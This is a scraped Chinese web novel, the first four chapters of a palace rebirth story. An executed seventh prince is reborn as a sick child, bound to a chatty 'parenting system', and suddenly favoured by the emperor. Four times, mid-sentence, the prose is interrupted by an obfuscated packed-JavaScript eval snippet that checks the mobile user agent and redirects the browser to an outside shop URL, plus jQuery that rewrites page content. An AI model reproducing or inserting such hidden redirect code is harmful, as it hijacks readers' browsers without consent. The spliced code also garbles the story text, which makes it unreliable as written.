《万人嫌七皇子今天死了吗》 1. 第 1 章 冰冷的雨丝砸在脸上,与鲜血混作一团。 李常安被铁链缚在刑台上,眼睁睁看着刽子手手中的刀片闪着寒光,一片片从他身上割下肉来。 千刀万剐,名副其实。 “七皇子李常安,通敌叛国,罪证确凿,依律凌迟处死!” 父皇那冰冷的声音还在耳边回响,此刻,他正高高坐在观刑台上,目光冷冷地看着他受刑。 “父皇……儿臣……没有!” 他想辩解,但喉咙早已被血块堵住,发不出完整的声音。 疼痛已经麻木,意识渐渐模糊。 太子李常宸拄着拐杖,眼中满是复仇的快意。 “七弟,你也有今天。”太子的唇形无声地说道。 迟宴,那个一直视他为劲敌的镇国公,站在太子身侧,眉头紧紧地皱着,却终究什么也没说。 痛,彻骨的痛。 不是□□上的,而是心里的痛。 他李常安为国为民,为兄为父,殚精竭虑,换来的却是这样的结局。 若有来生……若有来生…… 他再也不要做什么七皇子,再也不要去争什么父皇的宠爱,兄弟的情谊。 都是假的,全都是假的! 最后一刀落下,李常安的意识彻底沉入黑暗。 “好热……” 李常安在灼热与寒冷交织的感觉中醒来。 浑身滚烫,却又止不住地发抖。 他费力地睁开眼,映入眼帘的是破旧的床帐,上面还有几个明显的补丁。 空气中弥漫着霉味和劣质炭火的味道。 这是……他小时候的寝宫? 李常安挣扎着想要坐起,却浑身无力。 他低头看向自己的手,一双孩童的小手,苍白,瘦弱,带着病态的纤细。 他重生了? 这个时间是?六岁吗?那个他刚刚染上风寒,几乎丧命的时候。 “咳咳……”他忍不住咳嗽起来,喉咙干痛得厉害。 门外突兀地传来不耐烦的女声:“吵什么吵?大半夜的,让不让人睡了?” 是照顾他的宫女如意。 李常安记得她,一个惯会偷奸耍滑的宫婢,前世在他得势后早早巴结上来,在他失势后又第一时间背叛的奴才。 “水……”李常安艰难地喊出声。 门外却没有回音,显然是不打算理会他。 李常安闭上眼,前世今生的记忆交织在一起,让他心头涌起一股悲凉。 即使重活一世,他依然要面对这样的处境吗?老天爷既然让他重新来过,就不能让他换个身份活着吗? 就是个乞儿也比当这个劳什子皇子强! 罢了!呵!既然重来一世,他当然也不想这么轻易死去! 只是这一世他再也不会奢望那些不属于自己的东西。 什么父皇的宠爱,什么兄弟情深,什么建功立业,都是虚妄! 人不犯我,我不犯人。但要犯我,就别怪我…… 【叮!检测到合适宿主,系统绑定中……】 【绑定成功!您好,我是007号育儿系统,很高兴为您服务!】 脑中突然响起一个活泼的声音打断了他的思绪,李常安一下子愣住了。 系统?这是什么鬼东西?妖怪? 【我不是鬼东西哦!也不是妖怪哦!】 那声音似乎能听到他的心声,【我是来自高等位面的育儿系统,专门帮助像您这样的孩子健康快乐成长的!】 “我不需要。”李常安在心中冷冷回到。 重活一世,他早已不是真正的六岁孩童。 【别这么说嘛!】系统007语气欢快。 【根据检测,您目前身体状况极差,体温39.8度,再这样下去可能会有生命危险呢!是否接受新手任务: 喝下一杯温水?任务奖励:轻微缓解症状。】 李常安本想拒绝,但喉间的灼痛让他改变了主意。 既然重活一世,他确实不能就这么死了,要死也得多拖几个垫背。 “水!”他再次用力喊道,声音比刚才大了一些。 门外传来如意的怒骂:“小祖宗,你能不能消停点?这大冷天的,我去哪儿给你弄热水?” 李常安眼中闪过一丝冷光。 若是前世,他定会体谅宫人的难处,但现在…… 李常安强撑着用力说道:“我若是死了,你们这些伺候的,一个也活不成。” 门外的如意因为他的话静默片刻,随即响起了不情愿的嘟囔和脚步声。 同一时间,养心殿内。 皇帝李弘猛地从龙床上坐起,额头上满是冷汗。 “陛下?”守夜的王公公急忙上前,“您这是……” 李弘挥手制止了他,一双眼睛还残留着梦中的惊骇。 他梦见自己坐在高高的观刑台上,下面是他第七子李常安被绑在刑架上,浑身血肉模糊。 “千刀万剐...” 皇帝喃喃自语,怎么会? 梦中那种亲手下令处死自己骨肉的感觉太过真实,尤其是李常安临死前看向他的那双眼睛,让他心口一阵抽痛。 “现在是什么时辰?”皇帝问道,声音有些沙哑。 “回陛下,刚过丑时。” 王公公有眼色地递上一杯温茶,“陛下可是梦魇了?” 皇帝接过茶杯,却没有喝,只是握在手中,任由热气蒸腾。 “七皇子……近来如何?” 王公公愣了一下,显然没想到皇帝会突然问起那个几乎被遗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668867|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘的皇子。 “这个...老奴不太清楚,只听下面人说,七皇子前几日染了风寒,宁嫔娘娘那儿似乎没请太医。” “砰”的一声,皇帝将茶杯重重放在床头茶几上,脸色阴沉。 “朕的儿子染病,竟连太医都不请!她这个母亲是怎么当的!” 王公公吓得连忙跪地:“陛下息怒!许是宁嫔娘娘觉得小病不便惊动太医院,且宁嫔娘娘的病,您也是知道的,时好时坏。” “摆驾!”皇帝突然起身,“朕要去看看。” “现在?” 王公公抬起头来,惊讶地看着皇上劝道: “陛下,这都快半夜了,外面还下着雨,七皇子住在西三所,路途遥远,您明日还要早朝……” “朕说现在!”李弘的语气带着微怒的不耐。 “还是说,朕在这宫里,去哪里还要经过你王公公同意?” “老奴不敢!老奴这就去准备!”王公公吓得连滚爬起,急忙传令备驾。 西三所,李常安的住处,如意终于端来了一碗水,却是凉的。 “喏,水来了,喝吧!” 李常安看着那碗水,没有动。 “我要热水。” “你!”如意气得瞪眼,但想起李常安刚才的话,又压下了火气。 确实,若是七殿下真的病死了,他们这些伺候的难免受罚。 “等着!”她没好气地端起碗出去了。 李常安闭上眼,继续与脑中的系统对话。 “你说你是育儿系统?具体能做什么?” 【很多啊!】 007兴奋地介绍道:【我可以发布任务,帮助您养成良好的生活习惯,学习各种知识,培养优秀品德……完成任务可以获得奖励哦!】 “听起来很无聊。” 李常安兴趣缺缺,“我现在只想好好休息,你能不能安静一会?” 【可是您的身体状况真的很差!】 007焦急地劝道:“如果不及时治疗,恐怕会留下后遗症的!” 话音未落,门外忽然传来一阵杂乱的脚步声与器物轻碰的响动,在寂静的深夜里显得格外突兀。 李常安不由得蹙眉——这么晚了,会是谁? 还未等他起身察看,“吱呀”一声,房门被从外推开。 一道明黄色的身影立在门前。 宫灯摇曳,在那人周身镀上一层晃动的光晕,更衬得他身姿挺拔,不怒自威。 李常安瞳孔骤然微缩——父皇? 他……怎么会深夜亲自来到这里? 皇帝李弘站在门口,看着屋内简陋到近乎破败的摆设,眉头紧锁。 空气中弥漫的霉味和寒意,让他不悦地抿起唇。 这就是他儿子住的地方? 2. 第 2 章 皇帝李弘的目光扫视一圈,最终落在床上那个小小的身影上。 李常安裹在薄被里,小脸烧得通红,眼睛因发烧而水润,正惊恐地看着他。 那眼神,与梦中的场景重合,让皇帝的心猛地一痛。 “参见陛下!”如意刚刚端着热水回来,看到皇帝站在房门口,吓得手一抖,碗摔在地上,热水洒了一地。 皇帝看都没看她一眼,径直走到李常安床前,伸手摸了摸他的额头。 滚烫的温度让他脸色更加难看。 “这就是你们照顾的皇子?” 皇帝脸色难看,声音冰冷,“七皇子病成这样,为何不请太医?” 如意跪在地上,浑身发抖:“回、回陛下,宁嫔娘娘说……说小孩子感了风寒,挺挺就……就过去了,不必惊动太医院。” “好个不必惊动!”皇帝怒极反笑,“王允!” “老奴在!”王公公连忙上前。 “将今夜值守西三所的宫人全部押下,各打二十大板,以儆效尤!” 皇帝命令道,随即又补充,“还有,立刻去请太医令!” “是!”王公公领命,看了一眼床上病弱的小皇子,心中暗惊! 陛下这是突然重视起七皇子了? 李常安躺在床上,看着这一切,心中满是疑惑? 前世,并没有这一出! 他记得前世那夜他病得昏昏沉沉,全靠自己硬扛过来的。 为何这一世,父皇会亲自前来? 皇帝重新看向李常安,神情莫测。 他停在床边,伸手似乎想摸摸儿子的脸,但中途又改变了主意,只是替他掖了掖被角。 “感觉怎么样?”皇帝的声音出乎意料地温和。 李常安垂下眼帘,掩去眼中的情绪,虚弱地答道:“回父皇,儿臣……还好。”心中却警铃大作。 父皇突如其来的关怀,绝非好事。 前世血的教训告诉他,在这深宫之中,任何不寻常的关注都可能带来杀身之祸。 “先喝点热水!”李弘一手扶着他,一手拿着水杯喂他。 【任务完成!喝下一杯温水!奖励发放:症状轻微缓解!】007的声音适时响起。 李常安喝完,确实感觉喉咙的灼痛减轻了些,但高热依然未退。 值守的太医令很快赶到,看到皇帝深夜竟然亲自在此,大吃一惊。 他不敢怠慢,仔细地为李常安诊脉,脸色却越来越凝重。 “回陛下,七皇子风寒入体,高烧不退,加之体质孱弱,若再晚些医治,恐有性命之忧。”太医令一脸为难地回禀道。 皇帝的脸色更加难看:“可能治好?” “臣定当竭尽全力!”太医令连忙道,随即开了药方,命随行的医童立刻去煎药。 “陛下,”王公公小声提醒,“快寅时了,您明日还要早朝。” 皇帝看着床上昏昏沉沉的李常安,思虑片刻,做出了一个让所有人都震惊的决定: “传旨,七皇子即日起,移居乾西五所长春院,一应供给按皇子份例,不得有误。 另,派四个宫女、四个太监过去伺候。” 乾西五所长春院!那可是离养心殿最近的宫院,历来只有得宠的皇子才能入住! 王公公心中骇然,表面上却恭敬应下:“是,老奴这就去办。” 李常安虽发着高烧,但神智还在,听到也震惊了。 乾西五所? 前世他直到十三岁才因在秋猎中表现出色,被赏赐入住乾西五所。 如今他才六岁,为何? “你好生养病。待病好了,朕再来看你。”皇帝帮李常安又掖了掖被角,对李常安温和说道。 说完,皇帝转身离去,留下一屋子震惊的人。 李常安看着李弘离去的背影,心中警戒更甚。 事出反常必有妖,父皇此举,到底意欲何为? 【哇!宿主,皇上很关心您呢!】 007兴奋地说道:【新任务:病愈后向父亲表达感谢。奖励:体质+1!】 李常安在心中冷笑。 关心?前世他也是这么天真地以为的,直到那把剐刀落在他身上。 “如意。”李常安唤道,声音依然虚弱。 还跪在地上的如意连忙应道:“奴婢在!” “收拾东西,准备移宫。”李常安闭上眼睛,不再看她。 “是、是!”如意连忙爬起来,心中又是惶恐又是惊喜。 七皇子突然得宠,他们这些伺候的,地位自然水涨船高。 李常安却在心中冷笑。 移居乾西五所,看似恩宠,实则是将他推到了风口浪尖。 从今往后,他将是后宫所有嫔妃、皇子的眼中钉。不过没关系,反正他也不在乎。 天刚蒙蒙亮,七皇子深夜被皇帝亲自探视,并移居乾西五所长春院的消息,就像长了翅膀一样传遍了整个皇宫。 长春宫内,皇后刚醒,关嬷嬷一边伺候她梳洗,一边禀报了此事。 “哦?”皇后挑眉,“陛下亲自去了西三所?” “是,听说七皇子病得厉害,陛下大发雷霆,处置了西三所的宫人,还让太医令亲自诊治。” 关嬷嬷低声道,“娘娘,陛下这是?” 皇后沉思片刻,轻轻摇头:“陛下心思,难以揣度。不过,七皇子那孩子,本宫记得,宁嫔并不待见他。” “正是,宁嫔自从生了七皇子,性子越发古怪,对亲生儿子不闻不问,也是可怜。”关嬷嬷叹道。 皇后眼中闪过一丝怜悯:“既然如此,吩咐下去,七皇子移宫所需用度,让内务府不得有所怠慢,若有所缺的,可直接来回本宫。” “娘娘心善。”关嬷嬷赞道。 “不过是尽中宫之责罢了。”皇后淡淡道。 而丽妃宫中却是另一番景象。 “什么?那个小杂种搬去了乾西五所?” 丽妃将手中的茶盏重重摔在桌上,“陛下怎么会突然想起他?” 五皇子李常睿被母亲的怒斥声吵醒,揉着眼睛问:“母妃,谁搬去乾西五所了?” “还有谁?那个宁嫔生的病秧子!”丽妃没好气地说。 李常睿立刻撇嘴:“是他啊?父皇怎么会喜欢他?上次在御花园见到他,连句话都说不利索,笨死了!” 丽妃眼中闪过一丝阴狠:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668868|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管陛下为何突然重视他,都不能让他挡了你的路。” 大皇子李常川的寝宫内,他正盘腿打坐,听到心腹太监的禀报,只是微微睁眼。 “七弟?倒是出乎意料。” 他语气平淡,“继续观察,不必行动。” “是。”太监恭敬退下。 李常川重新闭上眼,嘴角却勾起一丝若有若无的笑意。 皇宫这潭水,越来越有趣了。 太子东宫。 “七弟移居乾西五所?” 太子李常宸正在用早膳,闻言手中的筷子顿了顿,“父皇亲自下的旨?” “是,听说陛下昨夜梦魇,醒来后就去了西三所。”贴身太监回禀道。 太子若有所思:“七弟,本宫记得他体弱多病,性子也怯懦。” “正是,平日里的聚会,七皇子总是躲在角落,不敢与人交谈。” 太子点点头,不再多问。 一个六岁的孩子,即使暂时得了父皇青睐,也构不成威胁。 他现在更需防备的是其它年长的兄弟。 而宁嫔宫中,得知消息的宁嫔只是疯狂大笑:“好啊,好啊,那个孽种!你们都去伺候他吧,别来烦我!” 宫女太监们战战兢兢,不敢多言。 乾西五所,长春院。 刚刚搬过来的李常安躺在柔软舒适的新床上,喝着汤药,却并没有多少喜悦。 【宿主,您看起来不太开心?】 007活泼的声音在他脑海中响起,【这里比之前的地方好多了呀!宽敞明亮,还没有霉味呢!为什么您还不高兴?】 “闭嘴。”李常安在心中冷冷回应。 他环顾四周,这间寝殿确实比西三所的破屋子好了不知多少倍。 雕花木窗上糊着崭新的明纸,地上铺着厚实的地毯,就连空气中都飘着淡淡的檀香。 四个宫女和四个太监正恭敬地站在门外,等待他的吩咐。 这些都是皇帝亲自指派来的人,表面上是对他的恩宠,实则是安插的眼线。 李常安心中冷笑。 前世他直到十三岁才因在秋猎中表现出色,被赏赐入住乾西五所。 那时他还天真地以为父皇终于看到了他的才能,现在想来,不过是看他有利用价值罢了。 这一世,他才六岁,毫无建树,父皇为何突然如此厚待?事出反常必有妖。 “七殿下,药熬好了。” 一个温和的女声响起,是内务府新指派来的大宫女素心。 素心约莫二十岁年纪,举止沉稳,是宫里的老人。 李常安瞥了一眼她手中的药碗,淡淡道:“放下吧。” 素心微微一愣,小心翼翼地将药碗放在床头小桌上,轻声道:“殿下,药要趁热喝才有效。” 李常安闭上眼睛,不予理会。 他当然会喝药,但不必在这些宫人面前表现得太过顺从。 【任务:喝下汤药。奖励:恢复速度小幅提升!】007适时发布任务。 李常安在心中冷哼,这系统倒是会挑时候。 正当他准备起身喝药时,门外突然传来太监的通传声:“陛下驾到——” 3. 第 3 章 李常安猛地睁眼。 父皇又来了?这未免太过反常! 他急忙想要下床行礼,却被快步走进来的皇帝按回了床上。 “不必多礼,你病着就好生躺着。” 皇帝的声音依然温和,但那双锐利的眼睛却不露痕迹地扫视着整个房间,似乎在检查一切是否合乎标准。 李常安垂下眼帘,掩去眼中的警惕,轻声应道:“谢父皇!” 皇帝在床边坐下,目光落在李常安苍白的小脸上。 这孩子长得其实很精致,眉眼间很漂亮,只是太过瘦弱,显得那双眼睛格外大。 不知为何,看着这双眼睛,皇帝又想起了梦中的场景。 他的心猛地一抽,一种难以言喻的愧疚感涌上心头。 “药喝了吗?”皇帝问道,语气是自己都未察觉的柔和。 “回父皇,正准备喝。”李常安回答。 皇帝点点头,亲自端起药碗,试了试温度,然后递给李常安:“温度正好,喝了吧!” 这一举动让在场的所有宫人都惊呆了。 皇帝亲自试药温,这是何等的恩宠! 李常安也愣住了。 前世今生,他从未见过父皇对哪个皇子如此亲力亲为。 就连太子,也未必有过这等待遇。 他心中警铃大作,但面上还是恭敬地接过药碗,一口气将苦涩的药汁喝尽。 【任务完成!奖励发放:恢复速度小幅提升!】007欢快地说。 李常安确实感觉身体轻松了些,高热也开始退去。 皇帝满意地点点头,从王公公手中接过一个小巧的食盒,取出一颗蜜饯:“药苦,吃颗蜜饯压一压。” 李常安看着那颗晶莹剔透的蜜饯,心中五味杂陈。 前世他多少次渴望父皇的关爱,如今他不要了,父皇却莫名其妙地凑了上来。 “谢父皇。”他接过蜜饯,放入口中,甜味在舌尖蔓延。 皇帝看着儿子乖巧的样子,心中柔软了几分。 他挥手让宫人们退下,房间里只剩下父子二人。 “常安,”皇帝罕见地唤了他的名字,“之前在西三所过得可好?” 李常安心中冷笑。 过得可好?父皇难道不知道他过的是什么日子吗?这种随手可查的事。 但他面上却露出一个怯生生的笑容:“回父皇,儿臣过得很好。” 皇帝看着他,小七的眼睛里没有六岁孩童该有的天真,只有小心翼翼的防备。 “以后若有谁怠慢了你,直接告诉朕。” 皇帝说道,语气坚定,“你是朕的儿子,大晟朝的皇子,不该受任何委屈。” 李常安装做害羞低下头,掩去眼中的讽刺。 是啊,他是皇子,却在前世被亲生父亲下令凌迟处死。 “儿臣遵旨。”李常安假意开心地应道。 皇帝又坐了片刻,问了些日常起居的问题,李常安一一谨慎回答。 父子间的对话生疏而客气,完全不似父子,倒像是君臣奏对。 终于,皇帝起身离开。 临走前,他回头看了一眼床上的小儿子,眼神复杂。 “好好养病,朕过几日再来看你。” 皇帝一走,李常安立刻收敛了脸上的表情,眼神变得深沉而冷静。 【宿主,皇上好像对你不坏诶!看起来还是蛮很关心宿主的!】 007兴奋地说,【新任务:三日内向父亲表达感谢。奖励:体质+1!】 “关心?”李常安在心中冷笑,“你太天真了。” 他比任何人都了解他的父皇。 那位高高在上的帝王,从来不会做没有目的的事。 突然的关怀背后,必定有着不为人知的算计。 只是他暂时还想不明白,自己一个六岁孩童,有什么值得父皇算计的。 “素心。”他唤道。 守在门外的素心立刻走进来:“殿下有何吩咐?” “我要休息了,没有我的允许,任何人不得打扰。”李常安严肃命令道。 素心微微一怔,随即恭敬应道:“是。” 她退出房间,轻轻关上门,心中对这位小殿下有了新的评估。 小殿下看似怯懦,实则颇有主见,不愧是陛下的儿子。 与此同时,皇帝驾临乾西五所的消息再次如野火般传遍皇宫。 丽妃宫中,一套精美的茶具再次遭殃,被摔得粉碎。 “又去了?陛下这是被什么迷了心窍?” 丽妃气得浑身发抖,“那个小杂种何德何能!” 五皇子李常睿在一旁嘟着嘴:“母妃,父皇是不是不喜欢我了?他都好久没来看我了。” 丽妃一把搂住儿子,眼中闪过狠厉:“睿儿放心,母妃绝不会让任何人抢走属于你的东西!” 长春宫内,皇后正在修剪一盆兰花,听到关嬷嬷的禀报,手中的剪刀顿了顿。 “陛下又去了乾西五所?”皇后眼中闪过讶异,“这倒是稀奇。” 关嬷嬷低声道:“娘娘,陛下对七皇子似乎格外上心。今日还亲自试了药温,赐了蜜饯。” 皇后轻轻剪下一段枯枝,若有所思:“七皇子那孩子,本宫记得他的生辰与瑾儿差不多。” 关嬷嬷闻言,眼中闪过悲痛:“八皇子若在,也该是这般年纪了...” 皇后眼中浮现水光,但很快被她压下:“吩咐下去,明日请七皇子来长春宫一趟。本宫想见见他。” “是。”关嬷嬷应道,心中明白皇后这是想起来八皇子,将对早夭幼子的思念投射到了七皇子身上。 太子东宫内,李常宸正在练字,听到太监的禀报,笔锋微微一滞。 “父皇又去了乾西五所?” 他放下笔,眉头微蹙,“七弟病得如此重吗?” 贴身太监低声道:“听说七皇子已无大碍,但陛下依然亲自探视,还停留了许久。” 太子沉思片刻,问道:“太医院怎么说?” “说是风寒入体,需要好生调养。” 太监回道,“七皇子自幼体弱,这次病得确实不轻。” 太子点点头:“既然如此,明日替本宫送些补品去乾西五所。毕竟是本宫的七弟,理应关怀。” “殿下仁厚。”太监赞道。 太子微微一笑,不再多言。 他倒要看看,这个一向不起眼的七弟,究竟有何特别之处,能引得父皇如此关注。 大皇子李常川的反应则平淡得多。 听到心腹禀报后,他只是轻轻放下手中的道经,嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668869|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噙着一丝意味深长的笑意。 “七弟倒是出乎意料。” “殿下,我们是否需要……”心腹做了个手势。 李常川摇头:“不必。静观其变即可。丽妃那边,自然会有所动作。” “是。”下属恭敬应道。 而宁嫔宫中,得知皇帝再次探视李常安的消息后,宁嫔的反应异常激烈。 “滚!都给我滚!” 她疯狂地砸着房间里的东西,面目狰狞,“那个孽种!他凭什么!他凭什么得到陛下的宠爱!” 宫女太监们吓得四散逃离,只有宁嫔的贴身宫女壮着胆子上前劝阻: “娘娘息怒!七殿下毕竟是您的儿子,他得宠对您也是好事啊!” “儿子?”宁嫔疯狂大笑,“他不是我儿子!他不是!” 宫女吓得脸色发白,急忙捂住宁嫔的嘴:“娘娘慎言!这话若是传出去,可是大罪!” 宁嫔猛地推开她,眼神狂乱:“我怕什么?我还有什么好怕的?我的儿子已经死了!死了!” 她跌坐在地,突然嚎啕大哭起来。 乾西五所内,李常安对这些风波一无所知,也不感兴趣。 他正在与脑中的系统讨价还价。 “这个向父皇表达感谢的任务,我不能接。”李常安坚定地说。 【为什么?】 007不解,【表达感谢是基本的礼貌啊!而且奖励很丰厚,体质+1呢!您现在的体质太差了,急需改善!】 李常安在心中冷笑:“父皇突然对我如此关注,必定有所图谋。我若表现得太过感激涕零,反而会引起怀疑。” 【可是!】 “没有可是。”李常安打断它,“要么你换个任务,要么我就继续躺着养病,什么任务都不做。” 007沉默了片刻,似乎在进行复杂的计算。 【好吧!】它不情愿地说,【任务变更:好好休息,保持充足的睡眠。奖励:精力恢复速度提升。】 李常安满意地闭上眼睛,这才像话。 他现在的确需要好好休息。 至于父皇的异常关注,既然想不明白,那就暂时不想。 兵来将挡,水来土掩,他一个死过一次的人,还有什么好怕的? 窗外,乾西五所的庭院里,新移植的几株梅树在月光下拉出长长的影子。 素心轻轻推开门,见李常安已经睡着,便悄悄为他掖好被角。 看着小皇子安静的睡颜,她轻轻叹了口气。 这深宫之中,得宠未必是福,失宠未必是祸。 李常安的高热在太医的精心诊治下,次日便退去了大半。 但他依然虚弱地躺在床上,面色苍白,呼吸轻微,任谁看了都会觉得这孩子病得不轻。 【宿主,您的体温已经恢复正常了,为什么还要装病呢?】007不解地问。 “这不是装病,是合理利用病情。”李常安无语地回道。 “一个病弱的皇子,总比一个健康的皇子更不引人注目。” 【可是...】 “没有可是。”李常安打断它,“你只需要配合我就好。”这系统真的太笨了!他之前真的高估了它! 007委屈地噤声了,它能感觉到宿主有些嫌弃它。(哭唧唧小人!) 4. 第 4 章 清晨的阳光透过窗纸洒入室内,李常安眯着眼,终于有空打量着这个新住所。 乾西五所的长春院,前世他曾在这里住了四年,直到被封王开府。 这里的每一处布置,他都熟悉得很。 “素心。”他轻声唤道。 守在门外的素心立刻推门而入:“殿下醒了?可要用早膳?” 李常安轻轻摇头:“没什么胃口。” 他顿了顿,状似无意地问道,“这里...以前住的是哪位皇兄?” 素心恭敬回答:“回殿下,长春院已经空置两年了。上一次住在这里的是三皇子,后来封了瑞王,便搬出宫去了。” 李常安点点头,不再多问。 他知道素心没有说实话,或者说,没有说全。 长春院确实空置了两年,但再往前,这里应该住的是八皇子李常瑾,皇后那个早夭的幼子。 “我想再睡一会。”李常安闭上眼睛,“除非父皇来了,否则别让任何人打扰我。” “是。”素心应声退下。 李常安确实累了。 病后的身体格外虚弱,加上前世记忆的冲击,让他的精神一直处于高度紧张状态。 现在终于有了相对安全的环境,困意便如潮水般涌来。 然而,他刚睡着不久,就被一阵喧闹声吵醒。 “让我进去!我是他母妃!凭什么不让我见自己的儿子?”一个尖锐的女声在院中响起。 李常安皱眉,这声音是宁嫔。 他坐起身,对外面道:“素心,怎么回事?” 素心推门进来,面色为难:“殿下,宁嫔娘娘来了,说要见您。奴婢说您还在休息,但她不肯离开。” 李常安眼中闪过冷光。 宁嫔,这个他名义上的母亲,前世对他非打即骂,落井下石的事没少做,从未尽过一天做母亲的责任。 如今看他得了父皇的关注,倒是迫不及待地想来分一杯羹了。 “请她进来吧。”李常安淡淡道。 既然躲不过,那就见一见。 他也想看看,这个疯女人到底想做什么。 片刻后,宁嫔气势汹汹地冲了进来。 她今日特意打扮过,穿着一身水红色的宫装,头戴金步摇,脸上施了脂粉,却掩不住眼角的细纹和眉宇间的疯狂。 “常安!我的儿!”她一进来就扑到床边,想要抱住李常安,却被李常安轻巧地躲开了。 李常安冷淡地看着她:“宁嫔娘娘有何事?” 宁嫔被他疏离的态度激怒,但想到此行的目的,又强压下火气,挤出几滴眼泪: “常安,你病成这样,为何不派人告诉母妃?母妃担心得整夜没睡好。” 李常安心中冷笑。担心?怕是气得睡不着吧。 “儿臣无事,劳娘娘挂心了。” 他语气平淡,“太医说需要静养,娘娘若无事,就请回吧!” 宁嫔的脸色瞬间变得难看:“你这是什么态度?我是你母妃!” “是吗?”李常安抬眼看着她,目光锐利如刀,“儿臣在西三所病得快死的时候,怎么不见母妃来看望?” 宁嫔被问得哑口无言,恼羞成怒:“你!你这是在怪罪母妃?” “儿臣不敢。”李常安垂下眼帘。 “只是太医嘱咐需要静养,不敢留娘娘太久。若是过了病气给娘娘,就是儿臣的罪过了。” 宁嫔气得浑身发抖,却无计可施。 她看着眼前这个陌生的儿子,突然感到一阵恐惧。 这真的是那个任她打骂从不还口的李常安吗? “好,好得很!” 她猛地站起身,指着李常安的鼻子。 “翅膀硬了,连母妃都不认了!你别以为陛下现在宠你,就能无法无天!这宫里有的是人能收拾你!” 说完,她怒气冲冲地转身离去。 李常安看着她的背影,眼中没有半分波澜。 这个疯女人,前世在他被定罪时,是第一个跳出来指证他“忤逆不孝”的。 这一世,他不会再给她任何伤害自己的机会。 【宿主,您这样对待她,是不是不太合适?】007小声问道。 “她不是我母妃。”李常安冷冷道。 “一个调换皇子、逼死宫人、虐待亲子的毒妇,不配为人母。” 【调换皇子?】007惊讶,【这是什么意思?】 李常安没有回答。 这件事他现在还没有证据,不宜过早声张。 宁嫔刚走不久,院外又传来通报声:“皇后娘娘驾到——” 李常安一愣。 皇后?她怎么会来? 他急忙整理了一下衣衫,准备下床迎接,但皇后已经走了进来。 “不必多礼,你病着就好生躺着。”皇后的声音温和没有任何推诿。 李常安感受到皇后的善意,便抬起头来打量着这位中宫皇后。 皇后年约三十,容貌端庄秀丽,眉宇间带着淡淡的忧郁,却丝毫不减其雍容气度。 皇后在素心搬来的椅子上坐下,仔细端详着李常安的小脸。 “身子可好些了?”皇后轻声问道。 “回母后,好些了。”李常安恭敬地回答。 皇后点点头,从关嬷嬷手中接过一个食盒:“这是小厨房做的梨酪,最是润肺止咳。你病着胃口不好,这个容易克化。” 李常安心中一动。 梨酪,这是他最爱吃的点心之一。 皇后怎么会知道? “谢母后。”李常安接过食盒,轻声道谢,声音带着真诚的开心。 皇后看着他乖巧的样子,心中那股莫名的亲近感越发强烈。 “住在这里可还习惯?” 皇后环视房间,“若缺什么,尽管派人去长春宫说一声。” “儿臣这里一切都好,谢母后关心。”李常安看着皇后乖巧地答道。 皇后又坐了片刻,关切地问了些日常起居的问题。 “你好生养病,本宫改日再来看你。”皇后起身告辞,临走前又回头看了他一眼。 【宿主,皇后娘娘对您真好!】007感叹道,【比宁嫔娘娘好多了!】 李常安没有回应。 他知道皇后是出于对八皇子的思念才对他格外关照,但这依然让他感到开心。 午膳时分,李常安终于有了一些胃口。 素心端来的膳□□致而清淡,显然是特意为病人准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668870|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 他刚拿起筷子,外面又传来通报声:“太子殿下到——” 李常安手中的筷子顿了顿。 太子?他怎么也来了? 不及多想,太子李常宸已经走了进来。 他今日穿着一身杏黄色常服,面容温和,手中还提着一个精致的木盒。 “七弟不必多礼。” 太子见李常安要起身,连忙制止,“二哥听说你病了,特来看看你。” “谢二皇兄关心。”李常安低下头,掩去眼中的冷意。 前世,就是这个看似温和宽仁的太子兄长,亲手将那些伪造的“通敌罪证”呈给父皇,断送了他的性命。 太子在床边坐下,将木盒放在床头:“这是上好的血燕窝,最是补气养血。你病后体虚,正合用。” “二皇兄太破费了。”李常安恭敬回道。 太子笑了笑,目光扫过房间,状似无意地问道:“七弟这里倒是雅致,比西三所好多了,父皇对你很是上心啊!” 李常安心中冷笑,果然,太子是来试探的。 